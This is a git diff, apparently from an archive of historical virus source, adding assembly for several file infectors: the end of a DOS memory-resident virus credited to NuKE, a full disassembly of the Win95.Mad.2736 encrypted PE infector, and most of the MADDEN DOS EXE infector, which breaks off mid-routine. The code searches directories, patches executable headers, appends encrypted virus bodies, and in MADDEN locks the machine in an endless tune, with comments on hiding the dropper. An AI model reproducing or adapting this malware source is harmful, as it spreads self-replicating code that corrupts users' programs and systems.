EXEC file... + ; be runned... + NOP + JC LOC_36 ; Jump if carry Set + JMP LOC_46 +LOC_36: + POP SI + PUSH SI + MOV DI,SI + XOR AX,AX ; Zero register + PUSH AX + POP DS + LES AX,DWORD PTR DS:DATA_1E ; Load 32 bit ptr + MOV CS:DATA_49E[SI],AX ; Move lots of data + MOV CS:DATA_50E[SI],ES ; into CS to infect the file + LES BX,DWORD PTR DS:DATA_3E ; if not infected and shit.. + MOV CS:DATA_47E[DI],BX + MOV CS:DATA_48E[DI],ES + MOV AX,DS:DATA_7E + CMP AX,0F000H + JNE LOC_44 ; Jump if not equal + MOV DL,80H + MOV AX,DS:DATA_8E + CMP AX,0F000H + JE LOC_37 ; Jump if equal + CMP AH,0C8H + JB LOC_44 ; Jump if below + CMP AH,0F4H + JAE LOC_44 ; Jump if above or = + TEST AL,7FH + JNZ LOC_44 ; Jump if not zero + MOV DS,AX + CMP WORD PTR DS:DATA_51E,0AA55H + JNE LOC_44 ; Jump if not equal + MOV DL,DS:DATA_52E +LOC_37: + MOV DS,AX + XOR DH,DH ; Zero register + MOV CL,9 + SHL DX,CL ; Shift w/zeros fill + MOV CX,DX + XOR SI,SI ; Zero register + +LOCLOOP_38: + LODSW ; String [si] to ax + CMP AX,0FA80H + JNE LOC_39 ; Jump if not equal + LODSW ; String [si] to ax + CMP AX,7380H + JE LOC_40 ; Jump if equal + JNZ LOC_41 ; Jump if not zero +LOC_39: + CMP AX,0C2F6H + JNE LOC_42 ; Jump if not equal + LODSW ; String [si] to ax + CMP AX,7580H + JNE LOC_41 ; Jump if not equal +LOC_40: + INC SI + LODSW ; String [si] to ax + CMP AX,40CDH + JE LOC_43 ; Jump if equal + SUB SI,3 +LOC_41: + DEC SI + DEC SI +LOC_42: + DEC SI + LOOP LOCLOOP_38 ; Loop if cx > 0 + + JMP SHORT LOC_44 +LOC_43: + SUB SI,7 + MOV CS:DATA_49E[DI],SI + MOV CS:DATA_50E[DI],DS +LOC_44: + MOV AH,62H + INT 21H ; Simple...Get the PSP + ; Address (Program segment + MOV ES,BX ; address and but in BX) + MOV AH,49H + INT 21H ; Get the Free memory from + ; the system + MOV BX,0FFFFH ; release extra memory blocks + MOV AH,48H + INT 21H ; Allocate the memory + ; At BX (# bytes) + SUB BX,66H ; it attaches virus right + NOP ; under the 640k + JC LOC_46 + MOV CX,ES ; did it work? If not just + STC ; end the virus... + ADC CX,BX + MOV AH,4AH + INT 21H ; Adjust teh memory block + ; size! BX has the # of bytes + MOV BX,65H + STC ; Set carry flag + SBB ES:DATA_17E,BX ; Where to attach itself! + PUSH ES ; under 640K + MOV ES,CX + MOV AH,4AH + INT 21H ; Just change the memory + ; allocations! (BX=Btyes Size) + MOV AX,ES + DEC AX + MOV DS,AX + MOV WORD PTR DS:DATA_16E,8 ;Same place under 640k + CALL SUB_9 + MOV BX,AX + MOV CX,DX + POP DS + MOV AX,DS + CALL SUB_9 + ADD AX,DS:DATA_18E + ADC DX,0 + SUB AX,BX + SBB DX,CX + JC LOC_45 ; Jump if carry Set + SUB DS:DATA_18E,AX +LOC_45: + MOV SI,DI + XOR DI,DI ; Zero register + PUSH CS + POP DS + SUB SI,4D7H + MOV CX,64EH + INC CX + REP MOVSB ; Rep when cx >0 Mov [si] to + MOV AH,62H ; es:[di] + INT 21H ; Get the Program segment + ; prefix...so we can infect it + DEC BX + MOV DS,BX + MOV BYTE PTR DS:DATA_15E,5AH + MOV DX,1E4H + XOR AX,AX ; Zero register + PUSH AX + POP DS + MOV AX,ES + SUB AX,10H + MOV ES,AX + CLI ; Disable interrupts + MOV DS:DATA_3E,DX ; + MOV WORD PTR DS:DATA_3E+2,ES + STI ; Enable interrupts + DEC BYTE PTR DS:DATA_14E ; +LOC_46: + POP SI + CMP WORD PTR CS:DATA_42E[SI],5A4DH + JNE LOC_47 ; Jump if not equal + POP DS + MOV AX,CS:DATA_46E[SI] + MOV BX,CS:DATA_45E[SI] ; all this shit is to restore + PUSH CS ; the program and continue + POP CX ; running the original + SUB CX,AX ; program... + ADD CX,BX + PUSH CX + PUSH WORD PTR CS:DATA_44E[SI] + PUSH DS + POP ES + CALL SUB_10 + RETF +LOC_47: + POP AX + MOV AX,CS:DATA_42E[SI] + MOV WORD PTR CS:[100H],AX + MOV AX,CS:DATA_43E[SI] + MOV WORD PTR CS:[102H],AX + MOV AX,100H + PUSH AX + PUSH CS + POP DS + PUSH DS + POP ES + CALL SUB_10 + RETN +SUB_11 ENDP + + +SEG_A ENDS + + + + END START + + + + + Rock Steady [NuKE] diff --git a/MSDOS/Virus.MSDOS.Unknown.mad.asm b/MSDOS/Virus.MSDOS.Unknown.mad.asm new file mode 100644 index 00000000..a9c97800 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mad.asm @@ -0,0 +1,520 @@ +;Win95.Mad.2736 disassembly +;(c) Vecna/29A + +;Here is the disassembly of one of the first Win95 virus, that implemented +;several original features. It was the first encripted win95 virus, and +;the second one to not add a new section to the host (the first according +;to AVPVE) the first was actually Win32.Jacky. When executed, +;it search the kernel32 in memory for GetProcAddress and GetModuleHandleA, +;and call they everytime that need get a function, instead of searching +;once and storing the API address. Anyway, the API search dont seens reliable +;enought, and i cant make it replicate in my machine. + +;A special thank goes this time for VirusBuster, my virus provider, that +;always have nice virii for me... :-) +;Tasm /m w95mad.asm + + +.386p +.model flat +.data + dd ? + +.code + +start: + call delta +delta: + pop edi + mov eax, edi +old_RVA: + sub eax, 2005h ;setup host entry point + sub edi, offset delta + mov ds:HostEntry[edi], eax + mov ds:SaveEBP[edi], ebp + mov ebp, edi + xor eax, eax + mov edi, offset start_encript + add edi, ebp + mov ecx, 0A6Bh + mov al, ss:Key[ebp] +decript_loop: + xor [edi], al + inc edi + loop decript_loop + jmp short start_encript + +HostEntry dd 0 +SaveEBP dd 0 +Key db 0 + +start_encript: + mov ss:TotalInf[ebp], 0 + mov eax, 4550h + mov edi, 0BFF70000h + mov ecx, 1000h + cld +search_kernel: + repne scasw + jnz return_host + add ss:Seed[ebp], edi + dec edi + dec edi + cmp word ptr [edi+4], 14Ch + jnz short search_kernel + cmp word ptr [edi+14h], 0 + jz short search_kernel + mov bx, [edi+16h] + and bx, 0F000h + cmp bx, 2000h ;is a DLL? + jnz short search_kernel + cmp dword ptr [edi+34h], 0BFF70000h + jl short search_kernel + mov eax, [edi+34h] + mov ss:KernelBase[ebp], eax + xor eax, eax + mov ax, [edi+14h] + add eax, edi + add eax, 18h + mov cx, [edi+6] ;number of sections +search_edata: + cmp dword ptr [eax], 'ADE.' + jnz short no_edata + cmp dword ptr [eax+4], 'AT' ;search all sectionz for the + jz short found_export ;export section +no_edata: + add eax, 28h + dec cx + or cx, cx + jnz short search_edata + jmp return_host + +found_export: + mov ebx, [eax+0Ch] + add ebx, ss:KernelBase[ebp] + mov edi, [ebx+20h] + add edi, ss:KernelBase[ebp] + mov ecx, [ebx+14h] + sub ecx, [ebx+18h] + mov eax, 4 + mul ecx + mov ss:pAPIRVA[ebp], eax + mov ecx, [ebx+18h] + mov eax, 4 + mul ecx + xchg eax, ecx + xchg edi, edx + +search_APIs: + sub ecx, 4 + mov edi, edx + add edi, ecx + mov edi, [edi] + add edi, ss:KernelBase[ebp] + lea esi, szGetProcAddres[ebp] + lea eax, pGetProcAddress[ebp] + call extract_addr + lea eax, pGetModuleHdle[ebp] + lea esi, szGetModuleHdle[ebp] + call extract_addr + cmp ecx, 0 + jnz short search_APIs + cmp ss:pGetProcAddress[ebp], 0 + jz return_host + cmp ss:pGetModuleHdle[ebp], 0 + jz return_host + lea eax, _Kernel32[ebp] + push eax + mov eax, ss:pGetModuleHdle[ebp] + call eax + mov ss:KernelHandle[ebp], eax + cmp eax, 0 + jz return_host + lea eax, _GetDir[ebp] + call get_api_addr + jb _check_payload + lea edx, CurrentDir[ebp] + push edx + push 0FFh ;save current directory + call eax + +find_filez: + lea eax, _FFile[ebp] + call get_api_addr + jb no_payload + mov edx, offset FINDATA ;start of find struct + add edx, ebp + push edx + mov edx, offset ExeMask + add edx, ebp + push edx + call eax + mov ss:SearchHandle[ebp], eax + cmp eax, 0FFFFFFFFh + jz change_dir ;error, then go down a dir + +infect_next: + mov eax, dword ptr ss:FileName[ebp] + xor ss:Seed[ebp], eax + cmp eax, 186A0h + jnb error_close + cmp ss:Security[ebp], 0 ;maybe a safeguard flag? + jnz error_close ;win95 never set this, so + lea eax, _CreateFile[ebp] ;probably is a safeguard + call get_api_addr ;to no infect own hdd + jb no_payload + push 0 + push ss:FINDATA[ebp] + push 3 + push 0 + push 0 + push 0C0000000h + mov edx, offset FileName2 + add edx, ebp + push edx + call eax + cmp eax, 0FFFFFFFFh + jz find_next + mov ss:FileHandle[ebp], eax + mov edi, 3Ch + call file_seek + mov edi, offset PEPointer + add edi, ebp + mov ecx, 4 + call read_file + jb error_close + mov edi, ss:PEPointer[ebp] + call file_seek + mov edi, offset PEHeader + add edi, ebp + mov ecx, 8D0h + call read_file + cmp ss:PEHeader[ebp], 4550h + jnz error_close + cmp ss:InfectionMark[ebp], 'WDAM' ;MADW - Mad for Win95 + jz error_close + xor esi, esi + xor eax, eax + mov ax, ss:NumberSections[ebp] + dec ax + mov ecx, 28h + xor edx, edx + mul ecx + mov si, ax + mov eax, 0BB8h + mov ecx, ss:FileAlign[ebp] + xor edx, edx + div ecx + inc eax + mul ecx + add ss:szRVA[ebp+esi], eax ;virtual size of section + mov eax, 7D0h + mov ecx, ss:ObjAlign[ebp] + xor edx, edx + div ecx + inc eax + mul ecx + mov edx, ss:pRAW[ebp+esi] ;pointer to raw data + mov ecx, edx + add edx, ss:szRAW[ebp+esi] ;size of raw data + push edx + add ss:pRAW[ebp+esi], eax ;pointer to raw data + or ss:ObjAttr[ebp+esi], 0C0000040h ;object attributes + add ecx, ss:RVA[ebp+esi] ;RVA of section + mov edx, ss:EntryRVA[ebp] + mov ss:EntryRVA[ebp], ecx + sub ecx, edx + add ecx, 5 + mov dword ptr ss:old_RVA+1[ebp], ecx + mov ss:InfectionMark[ebp], 'WDAM' ;set the mark + mov edi, ss:PEPointer[ebp] + call file_seek + mov edi, offset PEHeader + add edi, ebp + mov ecx, 8D0h + call write_file ;write the modificated + pop edi ;header info + add ss:Seed[ebp], edi + call file_seek + mov eax, ss:Seed[ebp] + neg eax + mov ss:Key[ebp], al + mov esi, offset start + add esi, ebp + mov edi, offset EncriptedBody + add edi, ebp + mov ecx, 0AB0h + cld + repe movsb ;zopy virus to work area + mov edi, offset EncriptedBody + add edi, ebp + add edi, 45h + mov ecx, 0A6Bh + mov al, ss:Key[ebp] + +enc_loop: + xor [edi], al ;encript it + inc edi + loop enc_loop + mov edi, offset EncriptedBody + add edi, ebp + mov ecx, 0AB0h + call write_file ;attach virus + +error_close: + not ss:Seed[ebp] + lea eax, _CloseFile[ebp] + call get_api_addr + jb short _check_payload + push ss:FileHandle[ebp] + call eax + +find_next: + lea eax, _FNFile[ebp] + call get_api_addr + jb short _check_payload + lea edx, FINDATA[ebp] + push edx + push ss:SearchHandle[ebp] + call eax + cmp eax, 0 + jnz infect_next + +change_dir: + cmp ss:TotalInf[ebp], 3 ;only stop after 3 directorys + jz short _check_payload ;infected + lea eax, _SetDir[ebp] + call get_api_addr + jb short _check_payload + lea edx, DotDot[ebp] ;go down a directory + push edx + call eax + inc ss:TotalInf[ebp] + cmp eax, 1 + jz find_filez + +_check_payload: + jmp short check_payload + +read_file: + push edi + push ecx + lea eax, _ReadFile[ebp] + call get_api_addr + pop ecx + pop edi + cmp eax, 0 + jnz short rf_addr_ok + stc + retn +rf_addr_ok: + push 0 + lea ebx, NumRead[ebp] + push ebx + push ecx + push edi + push ss:FileHandle[ebp] + call eax + retn + +write_file: + push edi + push ecx + lea eax, _WriteFile[ebp] + call get_api_addr + pop ecx + pop edi + cmp eax, 0 + jnz short wf_addr_ok + stc + retn +wf_addr_ok: + push 0 + lea ebx, NumRead[ebp] + push ebx + push ecx + push edi + push ss:FileHandle[ebp] + call eax + retn + +file_seek: + lea eax, _FileSeek[ebp] + call get_api_addr + push 0 + push 0 + push edi + push ss:FileHandle[ebp] + call eax + retn + +check_payload: + lea eax, _GetTime[ebp] + call get_api_addr + jb short no_payload + lea edx, SYSTIME[ebp] + push edx + call eax + cmp ss:cDay[ebp], 1 + jnz short no_payload + lea eax, _User32[ebp] + push eax + mov eax, ss:pGetModuleHdle[ebp] + call eax ;get handle for USER32.DLL + mov ss:KernelHandle[ebp], eax + cmp eax, 0 + jz short no_payload + lea eax, _MsgBox[ebp] + call get_api_addr + jb short no_payload + push 1030h + mov edx, offset MsgTitle + add edx, ebp + push edx + mov edx, offset MsgText + add edx, ebp + push edx + push 0 + call eax ;pop a MessageBox with virus + lea eax, _Kernel32[ebp] ;credits + push eax + mov eax, ss:pGetModuleHdle[ebp] + call eax + mov ss:KernelHandle[ebp], eax + +no_payload: + lea eax, _SetDir[ebp] + call get_api_addr + jb short return_host + lea edx, CurrentDir[ebp] + push edx + call eax + +return_host: + mov edi, ebp + mov ebp, ds:SaveEBP[edi] + jmp ds:HostEntry[edi] + +extract_addr: + pusha + mov ecx, [esi] + add esi, 4 + repe cmpsb ;is api we want? + popa + jnz short no_func + xchg eax, esi + mov eax, [ebx+1Ch] + add eax, ss:pAPIRVA[ebp] + add eax, ss:KernelBase[ebp] + add eax, ecx + mov eax, [eax] + add eax, ss:KernelBase[ebp] + mov [esi], eax ;set adress +no_func: + retn + +get_api_addr: + push eax + mov eax, ss:KernelHandle[ebp] + push eax + call ss:pGetProcAddress[ebp] + cmp eax, 0 + jnz short proc_found + stc ;set carry on error +proc_found: + retn + +KernelBase dd 0 +pAPIRVA dd 0 + +pGetProcAddress dd 0 +szGetProcAddres dd 0Fh ;size of string to search + db 'GetProcAddress',0 + +pGetModuleHdle dd 0 +szGetModuleHdle dd 11h ;size of string to search + db 'GetModuleHandleA',0 + +_Kernel32 db 'KERNEL32',0 +_User32 db 'USER32',0 + +_MsgBox db 'MessageBoxA',0 ;this one we get from user32 + +_FFile db 'FindFirstFileA',0 ;and all these otherz from +_CreateFile db 'CreateFileA',0 ;kernel32 +_CloseFile db 'CloseHandle',0 +_ReadFile db 'ReadFile',0 +_WriteFile db 'WriteFile',0 +_FileSeek db 'SetFilePointer',0 +_FNFile db 'FindNextFileA',0 +_GetTime db 'GetLocalTime',0 +_SetDir db 'SetCurrentDirectoryA',0 +_GetDir db 'GetCurrentDirectoryA',0 + +KernelHandle dd 0 ;also used for USER32.DLL + ;when using payload + +MsgTitle db 'Multiplatform Advanced Destroyer',0 +MsgText db 'Hello user your computer is infected by MAD virus',0Dh + db 'Welcome to my first virus for Windoze95...',0Dh + db 'Distribution & Copyright by Black Angel 1997',0 + ;uhh... a confession... ;-) + +ExeMask db '*.eXe',0 + + db '[MAD for Win95] version 1.0 BETA! (c)Black Angel`97',0 + +DotDot db '..',0 ;for directory changing + +SearchHandle dd 0 +FileHandle dd 0 +NumRead dd 0 +Seed dd 0 + +SYSTIME equ this byte +cYear dw 0 +cMonth dw 0 +cDWeek dw 0 +cDay dw 0 +cHour dw 0 +cMin dw 0 +cSec dw 0 +cMlSec dw 0 + +FINDATA dd 0 ;File Attribute + dd 0 ;Creation Date + dd 0 ;Last Acess Date + dd 0 ;Last Write Date + dd 0 ;File Size h + dd 0 ;File Size l + dd 0 ;Reserved +Security dd 0 +FileName db 0Ch dup(0) +FileName2 db 200h dup(0) + +PEPointer dd 0 +TotalInf db 0 +CurrentDir db 100h dup(0) + +PEHeader dd 0 ;from here to end, are all + dw 0 ;bufferz that w95.mad.2736 +NumberSections dw 0 ;use for read, encription + db 20h dup(0) ;and like... +EntryRVA dd 0 + db 0Ch dup(0) +FileAlign dd 0 +ObjAlign dd 0 + db 18h dup(0) +InfectionMark dd 0 +EncriptedBody db 0A4h dup(0) +szRVA dd 0 +RVA dd 0 +pRAW dd 0 +szRAW dd 0 + dd 0 + dd 0 + dd 0 +ObjAttr dd 0 + db 608Ch dup(0) + +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.madden.asm b/MSDOS/Virus.MSDOS.Unknown.madden.asm new file mode 100644 index 00000000..8036909d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.madden.asm @@ -0,0 +1,805 @@ +;The MADDEN virus is an EXE file infector which can jump from directory to +;directory. It attaches itself to the end of a file and +;modifies the EXE file header so that it gets control first, before the host +;program. When it is done doing its job, it passes control to the host program, +;so that the host executes without a hint that the virus is there. + + + .SEQ ;segments must appear in sequential order + ;to simulate conditions in actual active virus + + +;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together + +;HOSTSEG program code segment. The virus gains control before this routine and +;attaches itself to another EXE file. As such, the host program for this +;installer simply tries to delete itself off of disk and terminates. That is +;worthwhile if you want to infect a system with the virus without getting +;caught. Just execute the program that infects, and it disappears without a +;trace. You might want to name the program something more innocuous, though. +;MADDEN also locks the pc into a 'maddening' toon when it runs out +;of files to infect. (MADDEN can be assembled to an .obj file under a86, +;then linked to the 'infected' .exe form.) + +HOSTSEG SEGMENT BYTE + ASSUME CS:HOSTSEG,SS:HSTACK + +PGMSTR DB 'MADDEN.EXE',0 + +HOST: + mov ax,cs ;we want DS=CS here + mov ds,ax + mov dx,OFFSET PGMSTR + mov ah,41H + int 21H ;delete this exe file + mov ah,4CH + mov al,0 + int 21H ;terminate normally +HOSTSEG ENDS + + +;Host program stack segment + +HSTACK SEGMENT PARA STACK + db 100H dup (?) ;100 bytes long +HSTACK ENDS + +;------------------------------------------------------------------------ +;This is the virus itself + +STACKSIZE EQU 100H ;size of stack for the virus +NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table + +;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together + +;MADDEN Virus code segment. This gains control first, before the host. As this +;ASM file is layed out, this program will look exactly like a simple program +;that was infected by the virus. + +VSEG SEGMENT PARA + ASSUME CS:VSEG,DS:VSEG,SS:VSTACK + +;data storage area comes before any code +VIRUSID DW 0C8AAH ;identifies virus +OLDDTA DD 0 ;old DTA segment and offset +DTA1 DB 2BH dup (?) ;new disk transfer area +DTA2 DB 56H dup (?) ;dta for directory finds (2 deep) +EXE_HDR DB 1CH dup (?) ;buffer for EXE file header +EXEFILE DB '\*.EXE',0 ;search string for an exe file +ALLFILE DB '\*.*',0 ;search string for any file +USEFILE DB 78 dup (?) ;area to put valid file path +LEVEL DB 0 ;depth to search directories for a file +HANDLE DW 0 ;file handle +FATTR DB 0 ;old file attribute storage area +FTIME DW 0 ;old file time stamp storage area +FDATE DW 0 ;old file date stamp storage area +FSIZE DD 0 ;file size storage area +VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there +VCODE DB 1 ;identifies this version +MUZIK dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, ;MUZIK - notes/delay + dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, ;in format xxxx,yyyy + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 5119,0006, 5423,0006, 3043,0006, + dw 6087,0020, + + dw 6087,0006, + dw 7239,0006, 3619,0006, 4831,0006, 6087,0006 + dw 7670,0006, 7239,0006, 4831,0006, 3619,0006 + + dw 6087,0006, 4063,0006, 3043,0006, 5119,0006 + dw 4831,0006, 6087,0006, 7239,0006, 8126,0006 + dw 6087,0020, + + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 5119,0006, 5423,0006, 3043,0006, + dw 6087,0020, + + dw 6087,0006, + dw 7239,0006, 3619,0006, 4831,0006, 6087,0006 + dw 7670,0006, 7239,0006, 4831,0006, 3619,0006 + + dw 6087,0006, 4063,0006, 3043,0006, 5119,0006 + dw 4831,0006, 6087,0006, 7239,0006, 8126,0006 + dw 6087,0020, + + dw 7670,0006, 7239,0006, 4831,0006, 3619,0006 + dw 3043,0006, 3619,0006, 4831,0006, 6087,0006 + dw 3043,0010, + + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, + dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, + dw 3043,0006, 5119,0006, 5423,0006, 3043,0006, + dw 6087,0020, + + dw 7670,0006, 7239,0006, 4831,0006, 3619,0006 + dw 3043,0006, 3619,0006, 4831,0006, 6087,0006 + dw 3043,0010, + + dw 6087,0006, + dw 7239,0006, 3619,0006, 4831,0006, 6087,0006 + dw 7670,0006, 7239,0006, 4831,0006, 3619,0006 + + dw 6087,0006, 4063,0006, 3043,0006, 5119,0006 + dw 4831,0006, 6087,0006, 7239,0006, 8126,0006 + dw 6087,0020, + + dw 0ffffh +;-------------------------------------------------------------------------- +;MADDEN virus main routine starts here +VIRUS: + push ax ;save startup info in ax + mov ax,cs + mov ds,ax ;set up DS=CS for the virus + mov ax,es ;get PSP Seg + mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it + call SHOULDRUN ;run only when certain conditions met signalled by z set + jnz REL1 ;conditions aren't met, go execute host program + call SETSR ;modify SHOULDRUN procedure to activate conditions + call NEW_DTA ;set up a new DTA location + call FIND_FILE ;get an exe file to attack + jnz TOON ;returned nz - no valid files left, play maddening toon! + call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode + call INFECT ;move program code to file we found to attack + call REST_ATTRIBUTE ;restore the original file attributes and close the file +FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup + pop ax ;restore startup value of ax +REL1: ;relocatable marker for host stack segment + mov bx,HSTACK ;set up host program stack segment (ax=segment) + cli ;interrupts off while changing stack + mov ss,bx +REL1A: ;marker for host stack pointer + mov sp,OFFSET HSTACK + mov es,WORD PTR [OLDDTA+2] ;set up ES correctly + mov ds,WORD PTR [OLDDTA+2] ;and DS + sti ;interrupts back on +REL2: ;relocatable marker for host code segment + jmp FAR PTR HOST ;begin execution of host program + +;-------------------------------------------------------------------------- +;First Level - Find a file which passes FILE_OK +; +;This routine does a complex directory search to find an EXE file in the +;current directory, one of its subdirectories, or the root directory or one +;of its subdirectories, to find a file for which FILE_OK returns with C reset. +;If you want to change the depth of the search, make sure to allocate enough +;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work, +;since the recursive FINDBR uses a different DTA area for the search (see DOS +;functions 4EH and 4FH) on each level. +; +FIND_FILE: + mov al,'\' ;set up current directory path in USEFILE + mov BYTE PTR [USEFILE],al + mov si,OFFSET USEFILE+1 + xor dl,dl + mov ah,47H + int 21H ;get current dir, USEFILE= \dir + cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root + jnz FF2 ;not the root + xor al,al ;make correction for root directory, + mov BYTE PTR [USEFILE],al ;by setting USEFILE = '' +FF2: mov al,2 + mov [LEVEL],al ;search 2 subdirs deep + call FINDBR ;attempt to locate a valid file + jz FF3 ;found one - exit + xor al,al ;nope - try the root directory + mov BYTE PTR [USEFILE],al ;by setting USEFILE= '' + inc al ;al=1 + mov [LEVEL],al ;search one subdir deep + call FINDBR ;attempt to find file +FF3: + ret ;exit with z flag set by FINDBR to indicate success/failure + +;*************************************************************************** +; This routine enables MADDEN virus to compell the pc to play a +;'maddening' toon when it can't find a file to infect +;************************************************************************** +TOON: + cli ;interrupts off + mov al,10110110xb ;the magic number + out 43h,al ;send it + lea si,MUZIK ;point (si) to our note table +TOON2: cld ;must increment forward + lodsw ;load word into ax and increment (si) + cmp ax,0ffffh ;is it ffff - if so end of table + jz GO_MUZIK2 ;so, time to jump into endless loop + out 42h,al ;send LSB first + mov al,ah ;place MSB in al + out 42h,al ;send it next + in al,61h ;get value to turn on speaker + or al,00000011xb ;OR the gotten value + out 61h,al ;now we turn on speaker + lodsw ;load the repeat loop count into (ax) +LOOP6: mov cx,8000 ;delay count +LOOP7: loop LOOP7 ;do the delay + dec ax ;decrement repeat count + jnz loop6 ;if not = 0 loop back + in al,61h ;all done + and al,11111100xb ;number turns speaker off + out 61h,al ;send it + jmp short TOON2 ;now go do next note +GO_MUZIK2: ;our loop point + sti ;enable interrupts + jmp TOON ;jump back to beginning - this code + ; has the additional advantage of + ;locking out CTRL-ALT-DEL reboot. + ;The user must do a hard reset to recover. +;-------------------------------------------------------------------------- +;SEARCH FUNCTION +;--------------------------------------------------------------------------- +;Second Level - Find in a branch +; +;This function searches the directory specified in USEFILE for EXE files. +;after searching the specified directory, it searches subdirectories to the +;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this +;routine exits with Z set and leaves the file and path in USEFILE +; +FINDBR: + call FINDEXE ;search current dir for EXE first + jnc FBE3 ;found it - exit + cmp [LEVEL],0 ;no - do we want to go another directory deeper? + jz FBE1 ;no - exit + dec [LEVEL] ;yes - decrement LEVEL and continue + mov di,OFFSET USEFILE ;'\curr_dir' is here + mov si,OFFSET ALLFILE ;'\*.*' is here + call CONCAT ;get '\curr_dir\*.*' in USEFILE + inc di + push di ;store pointer to first * + call FIRSTDIR ;get first subdirectory + jnz FBE ;couldn't find it, so quit +FB1: ;otherwise, check it out + pop di ;strip \*.* off of USEFILE + xor al,al + stosb + mov di,OFFSET USEFILE + mov bx,OFFSET DTA2+1EH + mov al,[LEVEL] + mov dl,2BH ;compute correct DTA location for subdir name + mul dl ;which depends on the depth we're at in the search + add bx,ax ;bx points to directory name + mov si,bx + call CONCAT ;'\curr_dir\sub_dir' put in USEFILE + push di ;save position of first letter in sub_dir name + call FINDBR ;scan the subdirectory and its subdirectories (recursive) + jz FBE2 ;if successful, exit + call NEXTDIR ;get next subdirectory in this directory + jz FB1 ;go check it if search successful +FBE: ;else exit, NZ set, cleaned up + inc [LEVEL] ;increment the level counter before exit + pop di ;strip any path or file spec off of original + xor al,al ;directory path + stosb +FBE1: mov al,1 ;return with NZ set + or al,al + ret + +FBE2: pop di ;successful exit, pull this off the stack +FBE3: xor al,al ;and set Z + ret ;exit + +;-------------------------------------------------------------------------- +;Third Level - Part A - Find an EXE file +; +;This function searches the path in USEFILE for an EXE file which passes +;the test FILE_OK. This routine will return the full path of the EXE file +;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return +;with the c flag set. It will search a whole directory before giving up. +; +FINDEXE: + mov dx,OFFSET DTA1 ;set new DTA for EXE search + mov ah,1AH + int 21H + mov di,OFFSET USEFILE + mov si,OFFSET EXEFILE + call CONCAT ;set up USEFILE with '\dir\*.EXE' + push di ;save position of '\' before '*.EXE' + mov dx,OFFSET USEFILE + mov cx,3FH ;search first for any file + mov ah,4EH + int 21H +NEXTEXE: + or al,al ;is DOS return OK? + jnz FEC ;no - quit with C set + pop di + inc di + stosb ;truncate '\dir\*.EXE' to '\dir\' + mov di,OFFSET USEFILE + mov si,OFFSET DTA1+1EH + call CONCAT ;setup file name '\dir\filename.exe' + dec di + push di + call FILE_OK ;yes - is this a good file to use? + jnc FENC ;yes - valid file found - exit with c reset + mov ah,4FH + int 21H ;do find next + jmp SHORT NEXTEXE ;and go test it for validity + +FEC: ;no valid file found, return with C set + pop di + mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir + stc + ret +FENC: ;valid file found, return with NC + pop di + ret + + +;-------------------------------------------------------------------------- +;Third Level - Part B - Find a subdirectory +; +;This function searches the file path in USEFILE for subdirectories, excluding +;the subdirectory header entries. If one is found, it returns with Z set, and +;if not, it returns with NZ set. +;There are two entry points here, FIRSTDIR, which does the search first, and +;NEXTDIR, which does the search next. +; +FIRSTDIR: + call GET_DTA ;get proper DTA address in dx (calculated from LEVEL) + push dx ;save it + mov ah,1AH ;set DTA + int 21H + mov dx,OFFSET USEFILE + mov cx,10H ;search for a directory + mov ah,4EH ;do search first function + int 21H +NEXTD1: + pop bx ;get pointer to search table (DTA) + or al,al ;successful search? + jnz NEXTD3 ;no, quit with NZ set + test BYTE PTR [bx+15H],10H ;is this a directory? + jz NEXTDIR ;no, find another + cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header? + jne NEXTD2 ;no - valid directory, exit, setting Z flag + ;else it was dir header entry, so fall through to next +NEXTDIR: ;second entry point for search next + call GET_DTA ;get proper DTA address again - may not be set up + push dx + mov ah,1AH ;set DTA + int 21H + mov ah,4FH + int 21H ;do find next + jmp SHORT NEXTD1 ;and loop to check the validity of the return + +NEXTD2: + xor al,al ;successful exit, set Z flag +NEXTD3: + ret ;exit routine + +;-------------------------------------------------------------------------- +;Return the DTA address associated to LEVEL in dx. This is simply given by +;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record +;in its own DTA, since a search at a lower level occurs in the middle of the +;higher level search, and we don't want the higher level being ruined by +;corrupted data. +; +GET_DTA: + mov dx,OFFSET DTA2 + mov al,2BH + mul [LEVEL] + add dx,ax ;return with dx= proper dta offset + ret + +;-------------------------------------------------------------------------- +;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz +;string at ES:DI. Return ES:DI pointing to the end of the first string in the +;destination (or the first character of the second string, after moved). +; +CONCAT: + mov al,byte ptr es:[di] ;find the end of string 1 + inc di + or al,al + jnz CONCAT + dec di ;di points to the null at the end + push di ;save it to return to the caller +CONCAT2: + cld + lodsb ;move second string to 